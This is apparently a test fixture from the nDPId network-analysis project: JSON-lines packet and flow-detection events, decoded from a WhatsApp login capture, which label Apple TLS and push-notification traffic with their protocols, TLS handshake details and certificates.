+00438{"flow_id":13,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":56,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582227,"pkt_ts_usec":886313,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"APS5Jrv0xiwDYGpkCABFAAA0rZoAAO4G4r4RsmgMwKgCBAG7wDE71dh745uf14ASH\/64\/gAAAgQFoAEDAwQBAQQC"} +00421{"flow_id":13,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":57,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582227,"pkt_ts_usec":887645,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"xiwDYGpkAPS5Jrv0CABFAAAo79dAAEAGDo7AqAIEEbJoDMAxAbvjm5\/XO9XYfFAQQADZtwAA"} +00684{"flow_id":13,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":58,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582227,"pkt_ts_usec":896350,"pkt_caplen":244,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":244,"pkt_l4_len":210,"pkt":"xiwDYGpkAPS5Jrv0CABFAADm\/b5AAEAG\/+jAqAIEEbJoDMAxAbvjm5\/XO9XYfFAYQAAWUgAAFgMBALkBAAC1AwNVY3hTkWg+eTHwOUaw54SWwWf9D1HPpzrAyt\/Q2NH3agAASgD\/wCTAI8AKwAnACMAowCfAFMATwBLAJsAlwAXABMADwCrAKcAPwA7ADQBrAGcAOQAzABYAPQA8ADUALwAKwAfAEcACwAwABQAEAQAAQgAAABgAFgAAE3F1ZXJ5LmVzcy5hcHBsZS5jb20ACgAIAAYAFwAYABkACwACAQAADQAMAAoFAQQBAgEEAwIDM3QAAA=="} +00768{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":58,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":4,"flow_first_seen":1432582227604,"flow_last_seen":1432582227896,"flow_tot_l4_data_len":306,"flow_min_l4_data_len":20,"flow_max_l4_data_len":210,"flow_avg_l4_data_len":76,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"17.178.104.12","src_port":49201,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Apple","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"query.ess.apple.com","ja3":"799135475da362592a4be9199d258726","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00436{"flow_id":14,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":59,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582228,"pkt_ts_usec":41916,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"APS5Jrv0xiwDYGpkCABFAAA0MLsAADQGJ4q4rbMlwKgCBBRmwDLYm8Xdgj7imoAQAgJ0EAAAAQEICg\/xi44t+jDG"} +00437{"flow_id":15,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":60,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582228,"pkt_ts_usec":152588,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"APS5Jrv0xiwDYGpkCABFAAA0UDkAAO4GQB4RsmgOwKgCBAG7wDON4auhp3wzpIASH\/48GwAAAgQFoAEDAwQBAQQC"} +00420{"flow_id":15,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":61,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582228,"pkt_ts_usec":167635,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"xiwDYGpkAPS5Jrv0CABFAAAoC8AAAEAGMqTAqAIEEbJoDsAzAbunfDOkAAAAAFAEAADWZAAA"} +02369{"flow_id":13,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":62,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582228,"pkt_ts_usec":180686,"pkt_caplen":1494,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1494,"pkt_l4_len":1460,"pkt":"APS5Jrv0xiwDYGpkCABFAAXIrZwAAO4G3SgRsmgMwKgCBAG7wDE71dh845uglVAYCgbCZAAAFgMDDU4CAABNAwNVY3hUdBSmIsuRSfKUkSKfJawGUTPdCW2wlAc+B2NhsCAEgWdpsy6+A4+ZhL8Tkx4bi2N8e1FKAmfseEZ9Bgb9VAAEAAAF\/wEAAQALAAz1AAzyAAQuMIIEKjCCAxKgAwIBAgIIQV3GMSw7NA4wDQYJKoZIhvcNAQELBQAwbTEnMCUGA1UEAwweQXBwbGUgU2VydmVyIEF1dGhlbnRpY2F0aW9uIENBMSAwHgYDVQQLDBdDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTETMBEGA1UECgwKQXBwbGUgSW5jLjELMAkGA1UEBhMCVVMwHhcNMTUwNTA2MDEwOTQ3WhcNMTYwNjA0MDEwOTQ3WjBXMRgwFgYDVQQDDA8qLmVzcy5hcHBsZS5jb20xGTAXBgNVBAsMEElTRyBEZWxpdmVyeSBPcHMxEzARBgNVBAoMCkFwcGxlIEluYy4xCzAJBgNVBAYTAlVTMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA4aHlPz8zEr2\/OlryJSjAdm3sBeBzxOb\/IYmo5gsM\/DRfPN4PDf\/LrTFueEMTiR1M5eH6brzPM75EM9O6pYBeSfzTeLrmzkrQKWAysaI+eWoj+0wnQMFSNCiK1eEGkr56WF5QbZQwBgXQ7UW332Ww5HOZX7ppN9mzT+UcRSwZ+eJ1dFDZ46Ie+bEJOBHexWMO+bjrT6T5lFV0oxGUlGiQ98q6BwqpSmIGFuXz7+dKT+4GA0iO\/RHQmq65u82gk8zLaBnGTQJkGs5aM0NxfMtOiLhzTLaaEt6YpqlVE\/7HORmtYFJLNt4ZqIUGIEb3QhUF\/fhRt4KhGl5TGt58qtS9zwIDAQABo4HjMIHgMB0GA1UdDgQWBBTnAJO\/qk1G34wBscywcpJsl6a9yzAMBgNVHRMBAf8EAjAAMB8GA1UdIwQYMBaAFCzFbVLdMe+M7AiB7d\/cykMARQHQMDwGA1UdHwQ1MDMwMaAvoC2GK2h0dHA6Ly9jcmwuYXBwbGUuY29tL2FwcGxlc2VydmVyYXV0aGNhMS5jcmwwDgYDVR0PAQH\/BAQDAgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMBoGA1UdEQQTMBGCDyouZXNzLmFwcGxlLmNvbTARBgsqhkiG92NkBhsEAgQCBQAwDQYJKoZIhvcNAQELBQADggEBAB8k4DiGeRhLlP0hiINVbMh3H\/n8I\/7a3QFwAzuim\/AqtI+nIHxJH9NO4z4fgiGpCmBe\/QTEz8LJghnPNsXdqhe0gJgoTFI0K4Zk73j1Y1F1yNiMcbd\/xxPUPif8gSiJElgVmq0j5wge8856CEIqaCvJHXfCSs\/S5UI5uLwzRe2Kt40codzp8blUE\/XjzKPR4zqaDMlWxOzMadpoEjn9BtvP9skUbgmpAX\/guSHB2LDg6qwkf8Y7BJnIo0mmhs0vmssvJlDDhl0pZUqjnW2QtO8df6+a\/l6hO8\/uod6Yasaqu86iEOd8YqJaCL68F6utzwMb9ZRPgkQL0Z\/oLSgCiMkAA\/wwggP4MIIC4KADAgECAggjaXQErcuDFDANBgkqhkiG9w0BAQsFADBiMQswCQYDVQQGEwJVUzETMBEGA1UEChMKQXBwbGUgSW5jLjEmMCQGA1UECxMdQXBwbGUgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkxFjAUBgNVBAMTDUFwcGxlIFJvb3QgQ0EwHhcNMTQwMzA4MDE1MzA0WhcNMjkwMzA4MDE1MzA0WjBtMScwJQYDVQQDDB5BcHBsZSBTZXJ2ZXIgQXV0aGVudGljYXRpb24gQ0ExIDAeBgNVBAsMF0NlcnRpZmljYXRpb24gQXV0aG9yaXR5MRMwEQYDVQQKDApBcHBsZSBJbmMuMQsw"} +02363{"flow_id":13,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":63,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582228,"pkt_ts_usec":181807,"pkt_caplen":1494,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1494,"pkt_l4_len":1460,"pkt":"APS5Jrv0xiwDYGpkCABFAAXIrZ4AAO4G3SYRsmgMwKgCBAG7wDE71d4c45uglVAYCgYtoQAACQYDVQQGEwJVUzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALkmFrDLh6txFZKO36o+4YDXU7qkYMx8hXL3MHwJT1cNSv\/hXslLUBMCZLG9OTXR1wRRwRj6Ivqu35gY1r9OTUMQ+iWIn9NAhXblIoG2VEVzmovjnEgahnrDUeLalfikfdsw3mwOxMX1bJjnpvpXIB0Zc3oOzWMPtyeILuGaaIK4QGxjFiRmK+ey4lR954g5ohuBPgLTOdiXd0oyDNYKCrMEm\/Fyb2OoFR5sN+gP21OQ1ilcvGpXm0Z4Cj4k6po\/odg\/9dtuqGyCtd2ZOOySVpSmxXMm0a4IssZS5452S4m4VA9u4NlC2yplh0YUu5a4V7tR5oQT9w2htomsfNEhdKsCAwEAAaOBpjCBozAdBgNVHQ4EFgQULMVtUt0x74zsCIHt39zKQwBFAdAwDwYDVR0TAQH\/BAUwAwEB\/zAfBgNVHSMEGDAWgBQr0GlHlHYJ\/vRrjS5ApvdHTX8IXjAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8vY3JsLmFwcGxlLmNvbS9yb290LmNybDAOBgNVHQ8BAf8EBAMCAQYwEAYKKoZIhvdjZAYCDAQCBQAwDQYJKoZIhvcNAQELBQADggEBACPxBn5QQYGiXtNwpEmRr9jMZ4yhJX3EmpM5L9hp+xtBW0TX2WvLOyUJGvL048ec6LBb8N\/dIiURFZO5SV7aDGZ6Xtdv8GPUZYzEelR9Vk9lmv3axLLIsLihy33gR6hAFbgWGe1bYY7fqtDN0jrAfjqfIk7f3\/ROGs2T\/9DwRVVkMz7U5dpooBOKdjAn1L\/4Hnb2+cMA77GD6lNtXDXHDQcBuvhhuf7FmmtDYYED67pfcJ3ob5QkS9zOkqguojU840ngFnei3Gu5jRhCuTaWQzLGy3aZNTbYVsaYXcNvpX6VwtV6CgIgZniS8mekIw3oCb3MITEQoL2+td1M3UYDmZkABL8wggS7MIIDo6ADAgECAgECMA0GCSqGSIb3DQEBBQUAMGIxCzAJBgNVBAYTAlVTMRMwEQYDVQQKEwpBcHBsZSBJbmMuMSYwJAYDVQQLEx1BcHBsZSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTEWMBQGA1UEAxMNQXBwbGUgUm9vdCBDQTAeFw0wNjA0MjUyMTQwMzZaFw0zNTAyMDkyMTQwMzZaMGIxCzAJBgNVBAYTAlVTMRMwEQYDVQQKEwpBcHBsZSBJbmMuMSYwJAYDVQQLEx1BcHBsZSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTEWMBQGA1UEAxMNQXBwbGUgUm9vdCBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAOSRqQkfkdseR1DrBe1eeYQt6zaiV0xV7IsZid75S2z1B6siMALoGD74UAnTf0GomPnRymacJGsR0KO75Bsqwx+VnnoMpEeLW9QWNzPLxA9NzhRp0ckZcvVdDtV\/X5vyJQO6VY9NXQ3xZDUjFUsVWR2zlPf2nJ7PULrBWFBnjwi0IPfLrCwgb3C2PwEwjLdDzw+dPfMrSSgayP7OtbkO2V4c1ss9tTqt9A8OAJILsSEWLnTVPA3bYharo3GSR1NVwa8vQbP4++NwzeajTEV+H0xrUJZBicR0YgsQg0GHM4qBsTBY7FoEMoxos48d3mVz\/2deZbxJ2HafMxRloXeUyS0CAwEAAaOCAXowggF2MA4GA1UdDwEB\/wQEAwIBBjAPBgNVHRMBAf8EBTADAQH\/MB0GA1UdDgQWBBQr0GlHlHYJ\/vRrjS5ApvdHTX8IXjAfBgNVHSMEGDAWgBQr0GlHlHYJ\/vRrjS5ApvdHTX8IXjCCAREGA1UdIASCAQgwggEEMIIBAAYJKoZI"} +01138{"flow_id":13,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":64,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582228,"pkt_ts_usec":181842,"pkt_caplen":585,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":585,"pkt_l4_len":551,"pkt":"APS5Jrv0xiwDYGpkCABFAAI7raAAAO4G4LERsmgMwKgCBAG7wDE71eO845uglVAYCgZzcAAAhvdjZAUBMIHyMCoGCCsGAQUFBwIBFh5odHRwczovL3d3dy5hcHBsZS5jb20vYXBwbGVjYS8wgcMGCCsGAQUFBwICMIG2GoGzUmVsaWFuY2Ugb24gdGhpcyBjZXJ0aWZpY2F0ZSBieSBhbnkgcGFydHkgYXNzdW1lcyBhY2NlcHRhbmNlIG9mIHRoZSB0aGVuIGFwcGxpY2FibGUgc3RhbmRhcmQgdGVybXMgYW5kIGNvbmRpdGlvbnMgb2YgdXNlLCBjZXJ0aWZpY2F0ZSBwb2xpY3kgYW5kIGNlcnRpZmljYXRpb24gcHJhY3RpY2Ugc3RhdGVtZW50cy4wDQYJKoZIhvcNAQEFBQADggEBAFw2mUwteLftjJvc83eb8nbSdzBPwR+Fg4UbmT1HN\/Kpm0COLNSxkBLYvvRzm+7SZA\/LeU802KI++Xj\/a8gH7H05g4tTINM4xLG\/mk8Ka\/8r\/FmnBQl8F0BWER5007eLIztHo9VvJOLr0bdw3w9F4SfK8W147ee1Fxeo3H4iNcol1dkP1mvUoiQjEfehrI9zgWDGG1sJL5Ky+ERI8GA4nhX1PSZnIIozavcNgs\/e66Mv+VNqW2TAYzN39zoHLFbr2g8hDtq6cxlPtdk2f8GHVdmnmbkyQvvY1XGefqFStxu9k0IkEirHDx22TZxeY8hLgBdQqorV2uT80AkHN7B1dSEOAAAA"} +01089{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":64,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":7,"flow_first_seen":1432582227604,"flow_last_seen":1432582228181,"flow_tot_l4_data_len":3777,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1460,"flow_avg_l4_data_len":539,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"17.178.104.12","src_port":49201,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Apple","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"query.ess.apple.com","server_names":"*.ess.apple.com","ja3":"799135475da362592a4be9199d258726","ja3s":"c253ec3ad88e42f8da4032682892f9a0","unsafe_cipher":2,"cipher":"TLS_RSA_WITH_RC4_128_MD5","issuerDN":"CN=Apple Server Authentication CA, OU=Certification Authority, O=Apple Inc., C=US","issuerDN":"CN=*.ess.apple.com, OU=ISG Delivery Ops, O=Apple Inc., C=US","fingerprint":"BD:E0:62:C3:F2:9D:09:5D:52:D4:AA:60:11:1B:36:1B:03:24:F1:9B"}} +00420{"flow_id":13,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":65,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582228,"pkt_ts_usec":182384,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"xiwDYGpkAPS5Jrv0CABFAAAoyh1AAEAGNEjAqAIEEbJoDMAxAbvjm6CVO9XeHFAQP6bTswAA"} +00420{"flow_id":13,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":66,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582228,"pkt_ts_usec":183212,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"xiwDYGpkAPS5Jrv0CABFAAAocERAAEAGjiHAqAIEEbJoDMAxAbvjm6CVO9XjvFAQP0zObQAA"} +00422{"flow_id":13,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":67,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582228,"pkt_ts_usec":183687,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"xiwDYGpkAPS5Jrv0CABFAAAoNoZAAEAGx9\/AqAIEEbJoDMAxAbvjm6CVO9Xlz1AQPyrMfAAA"} +00421{"flow_id":13,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":68,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582228,"pkt_ts_usec":184274,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"xiwDYGpkAPS5Jrv0CABFAAAo9dRAAEAGCJHAqAIEEbJoDMAxAbvjm6CVO9Xlz1AQQADLpgAA"} +00784{"flow_id":13,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":69,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582228,"pkt_ts_usec":224032,"pkt_caplen":321,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":321,"pkt_l4_len":287,"pkt":"xiwDYGpkAPS5Jrv0CABFAAEz02hAAEAGKfLAqAIEEbJoDMAxAbvjm6CVO9Xlz1AYQACwxgAAFgMDAQYQAAECAQDIayX5ZEqo1qjKYhdyEGA\/OiCn6ILW94+JGPEhgOQzSSDnvNCGi8y3yuKRWkYBBPSQKMh5lQARLBH5UCWrlCc85zv0asxv3cNBRmcZqvd4R854PQfkzedbgk2jp0nBjv3YFV6q1h5lNKm+abaKLwX+mdh8O9wPBdz0ADox0+zqIWw9JitsQSiPvptAMP2uAWPNsgvY6Vuyb\/9K7wi7fxmYt5+OypWMyHRXjcx+j7oH8CqfretEuMV5xfKW2Ipx6tH39erTK\/3m6F\/rYdALhF11zAntD6uRc9UrvvnxiXTVnG4xehvvcj0LoY5SyWDmbIpdVa8sTbrojMn7CfychKtm"} +00429{"flow_id":13,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":70,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582228,"pkt_ts_usec":224272,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":26,"pkt":"xiwDYGpkAPS5Jrv0CABFAAAuVNlAAEAGqYbAqAIEEbJoDMAxAbvjm6GgO9Xlz1AYQACyiQAAFAMDAAEB"} +00473{"flow_id":13,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":71,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582228,"pkt_ts_usec":224579,"pkt_caplen":91,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":91,"pkt_l4_len":57,"pkt":"xiwDYGpkAPS5Jrv0CABFAABNWmZAAEAGo9rAqAIEEbJoDMAxAbvjm6GmO9Xlz1AYQAATxgAAFgMDACA3Q1MaR5Nc353X8bvllgqbFo0TH+B3HGCqk6tLCTZrTg=="} +00494{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":72,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":1,"flow_first_seen":1432582228503,"flow_last_seen":0,"flow_tot_l4_data_len":1472,"flow_min_l4_data_len":1472,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":1472,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"17.110.229.14","src_port":49193,"dst_port":5223,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +02390{"flow_id":16,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":72,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582228,"pkt_ts_usec":503997,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"xiwDYGpkAPS5Jrv0CABFAAXUnXJAAEAG3ojAqAIEEW7lDsApFGe4aEuG1IsaTIAQIAA3PgAAAQEICi36MxJvhmvfFwMBACDgnfLWgV8g\/pw7jjX\/\/3ZDH1tB+gK1jE9k\/rmu6RmKPhcDAQdQwvKiQZwynx6ML8uHDg8WgbZIBNPdSiBPAiHm7VZMSxjHJ7BGJ8hRCNCOXC6LyliytHBkvL\/WQAE0iyMMgIlOMed9vHW1FQrPwtxifubqT35jWP9Nwm9hOQ2sUXPF6J6ZcqeRRxjts4LAxUp+ZVHbqO88UycvtArFRoKmsjwuTsOHFL0h\/BX9z3nWEUxaS9mVyhudzOuBlhf3aNgcppeJ3Mr6DsSPYDWrJ1Ko6GUQ6Mz7WhKyRp+OhCR+8vNcJ+2CIpa9aPiStGZvZFFuJ5eoJiBK6lrgPDyxxPa\/Z82Zx7iZHY+\/ajmPTXvQU4j7rC5OlL\/ZO1JkHVVmXmK1\/n5cUDYPvmxuWKEEWDx8eNxgRC58OMj0i5sHQHDG+ZLwIW4R3Ebyfp++7DjTwhy7uHM9lVzOAa6qgVVbeWZWLm5Zp4udgSHyIGs6plbNOhN8Lb7TTV3BFKBjCbwxtnCR+8lPTlOVAewtoM48Z0qRSJODl9LDmyJOnkTl+LQlbM7hWhZq\/VVyYDivHB+RnYZFdt7ZvWbMsFi9dXD6LjMsdLkj0RU\/SFA5gXvUGWy9x04Yo\/WqRH7ng0WIs\/oAxdVKAH0RL\/egfgAwRrcRgu3dPMqb8b19+PmNfa+WFGFnW0JLuexKCM9POmeD5yw6nk\/ac9Raq2rKcykqXxndrastmOjTbplC4qeRqr0LASV9tRAtG4WvYwC\/dfTiBawq859mBNGrglJvult9KPMKQPFULDG6x+KBv4eYpxjRc54qoabZQMWqqc+\/C0Emvy+eYJXsquvu+83ilyZ2N5sYlJ92HKH8JfE8JTIg5o3c9zLm5ZWhw8+NmQMwd0i5bU9vg06cROWuAG\/JN1YaR0pdUTITubm5mlduwzPQc2BVmXII2GZu105+s7qlJpQzMmRVjoqYtbOeWHJKIQ4UQdZCqzpz4AcWUN7LNHzsfvI5B8mXgc+B7aL8Y8jc2YqBmFk1dHfnjKeYCxGmRBZHJy7WbY9uViabjXvTq6pmYIGh+8lsYGwBwhWNapwWuc8Bw0b65ZKVGVcMKolOabscbWi+EYPJjuvFKgqZscrMC1dXZUtfdGPsPdXUlxbBMQ2Kup7KMqRXjqDlL2rJPpRC\/J6FfjQ+IKNfM\/RVAKV8teQWPRPthAH1FIrtEy51cDQixMgza8uftMRBKRfqEYXF7XVD5164o\/Mck2RudrQlyQmifMkcXuuW1kb2sTQoTz3p0Ox09YvEjxH+5SXf2MqAQ5cwiqd8fGHwSVuprE4y5B+B+0nEsRucTP\/97X6ZaOAcSRCuPQgdHN1NHCSQ8002IEFsPCRXQaWhb\/8KMjfJXXs1I3Eouoy5fGg9Eon7zV6InzJDOtmcVxRzUBgfDR1DGBIMOusKSnnAX1htfNBhCsM31KRySVA9BnU7p8tKS\/3BfJCTQQBoGTP2MoOxAiFKkSgXEh3w0kC\/x4kpimxmzxtGXOOQBZWNBgxyNTYgb0Sf9nOE+sqmGbSG7xueIM5u7Dd864xcMPmVsE1VcOkz2PMHbXIHe+roLyX2aqyb6Yu22cChJiPbSlY+mRr9siD+E7u3KnznXJcpEJBSd3utMm4QryOQBR9FCdalU2IyjVmAb148IpK6Ghgjmw7oVrHdCZXaVw+zfL1FhqC9Bd1VFHiBGm211UlGgrjedJW7mv5NM2z0cPLUMCaZycFw6G4KQN6aDAE1rL1eqhrIxxsuhCw0HsrKiJLLdGsa1+3Rf\/uEKt1c0Ng9dAzkrCJEwEwHx3trkLyhj9\/ja7mEqYBSp5Sx0mCtwBbfi6wnI8gTgb3WlgH0Ha3ke8bRCbeKw4dCUR0GSPUQYm4lO6VKKERImy3aoUDOHbtquSKZKUtb1hVt"} +00529{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":72,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":1,"flow_first_seen":1432582228503,"flow_last_seen":0,"flow_tot_l4_data_len":1472,"flow_min_l4_data_len":1472,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":1472,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"17.110.229.14","src_port":49193,"dst_port":5223,"l4_proto":"tcp","ndpi": {"proto":"ApplePush.Apple","breed":"Safe","category":"Cloud"}} +01083{"flow_id":16,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":73,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582228,"pkt_ts_usec":504689,"pkt_caplen":540,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":540,"pkt_l4_len":506,"pkt":"xiwDYGpkAPS5Jrv0CABFAAIO1F9AAEAGq2HAqAIEEW7lDsApFGe4aFEm1IsaTIAYIACssAAAAQEICi36MxJvhmvfY2JtdD6CZ3s26zaizYDBa1\/xV9+nfluOxtxa1tx195Jafsz52yXEOESrPvfo4L8JAAp0DYIaansHyOlB83T10iMEgMWpntVaGhVYz7Ui4c09FkbWN9q+65\/aqUq4TUrgzMyqE5QUWhXZSc\/uGC0icKHu+b2FL4NHGUs7nYDs8Xc0v0flHk5486jecRIc\/ROiqHyACG3C0wwDLYD5dPHsc+oO3YTdMQHp\/Y5aWShkoF9bF0dA6YegCOYLbVQKFU7DAdWxqhRRjje8xXf+tC7iVD+agcMxzHZHBdPvzUlsa6Hnp2KvOrzs9LBI3\/AlWnTDSOZNp+mWgK4MB2zxE5cEBsbimybYF8snsRtPtIBkMUfF1XAd9wg4sSCboXV1ik63xPuzTMdOxIRWWE26PTSksHKRu47JqvdF18Y85LvvQvIIft9jAMxZNM1JpDNK3xHTwcbI8OJ5ZzkwaDArtx1Yo+du+Za4kNeW1j1f7jlL58\/xs\/9pH231BKAPZrpjtiVLnSRVafACBd5M5lgbO1u\/aSBlmIQ\/UK6DM\/jen1DGM+xWiz3ABAYXKSpL6XfsJZ+dpwtcFktAw18x3fF8GSC0\/zgV+SA55WfIkN+qTLtYiq6ct7jHTceCT8cS"} +00422{"flow_id":13,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":74,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582228,"pkt_ts_usec":508223,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"APS5Jrv0xiwDYGpkCABFAAAoraEAAO4G4sMRsmgMwKgCBAG7wDE71eXP45uhoFAQC17\/PQAA"} +00667{"flow_id":14,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":82,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582228,"pkt_ts_usec":593505,"pkt_caplen":232,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":232,"pkt_l4_len":198,"pkt":"xiwDYGpkAPS5Jrv0CABFAADaxo9AAEAGRQ\/AqAIEuK2zJcAyFGaCPuKa2JvF3YAYIFhpewAAAQEICi36M4IP8YuOV0EBBQAAGvgFAaWRifwSaVBob25lLTIuMTIuMi01MjIyAAAZ+AKc+AT4AfwHcHJpdmFjefgBgPgBQPgBeAAAZvgGDFa\/tfwMMzkzNDczNDYxNzY4\/FDnfdSrPKM74AGKPNBrlW1TfHbZeaW2yRg64tGyV9Kd9BO9DsNhrwFxgzcW